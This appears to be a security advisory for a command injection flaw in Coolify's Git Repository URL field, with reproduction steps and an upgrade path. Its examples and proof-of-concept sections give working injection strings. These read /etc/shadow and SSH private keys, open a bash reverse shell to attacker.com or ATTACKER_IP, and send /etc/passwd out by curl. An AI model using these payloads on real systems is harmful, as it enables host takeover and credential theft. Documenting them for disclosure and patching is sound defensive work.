CVE-2025-34161: Coolify Git Repository Command Injection RCE

#

Vulnerability Overview

#

Summary

#

Coolify versions prior to and including v4.0.0-beta.420.6 are vulnerable to a critical remote code execution (RCE) flaw in the project deployment workflow. The platform allows authenticated users, with low-level privileges, to inject arbitrary shell commands via the Git Repository URL field during project creation. By submitting a crafted repository string containing command injection syntax, an attacker can execute arbitrary commands on the underlying host system, resulting in full server compromise.

Impact

#

• Remote Code Execution (RCE) - Arbitrary command execution on the host
• Privilege Escalation - From low-level user to full host compromise
• Complete Loss of Confidentiality, Integrity, and Availability - Full system compromise

Technical Details

#

Vulnerability Description

#

The Git Repository field in Coolify’s application configuration does not properly sanitize or validate input before executing shell commands. An authenticated low-privileged user can inject arbitrary shell commands that will be executed with the privileges of the Coolify application.

Attack Vector

#

# Attacker crafts malicious Git Repository URL
[email protected]:fake/repo.git; cat /etc/passwd #

# System executes both commands:
git clone "[email protected]:fake/repo.git"
cat /etc/passwd

Command Injection Examples

#

# Information Disclosure
https://github.com/user/repo.git; whoami; id; uname -a #

# File Access
https://github.com/user/repo.git; cat /etc/shadow #

# Reverse Shell
https://github.com/user/repo.git; bash -i >& /dev/tcp/attacker.com/4444 0>&1 #

# Data Exfiltration
https://github.com/user/repo.git; curl http://attacker.com/exfil?data=$(cat /etc/passwd|base64) #

Steps to Reproduce

#

1. Login as a low-privileged user
2. Create a new project
3. Select “Private GIT” option
4. Insert a malicious payload in the Git Repository URL field:

   [email protected]:fake/repo.git; cat /etc/passwd #

5. Deploy the project
6. Observe arbitrary command execution in the deployment logs

Proof of Concept

#

PoC 1: Information Disclosure

#

Repository URL: https://github.com/user/repo.git; whoami; id; hostname #
Expected Result: Output showing username, user ID, and hostname

PoC 2: File Access

#

Repository URL: [email protected]:fake/repo.git; cat /root/.ssh/id_rsa #
Expected Result: SSH private key displayed in deployment logs

PoC 3: Reverse Shell

#

Repository URL: https://github.com/user/repo.git; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 #
Expected Result: Interactive shell access to the host system

Mitigation

#

Immediate Actions

#

1. Upgrade immediately to Coolify v4.0.0-beta.420.7 or later
2. Review existing projects for suspicious repository configurations
3. Audit deployment logs for suspicious command patterns
4. Review user permissions and audit user activities

References

#

• CVE-2025-34161 Record
• OWASP Command Injection
• CWE-78: OS Command Injection
• Coolify GitHub Repository
• Coolify Security Advisory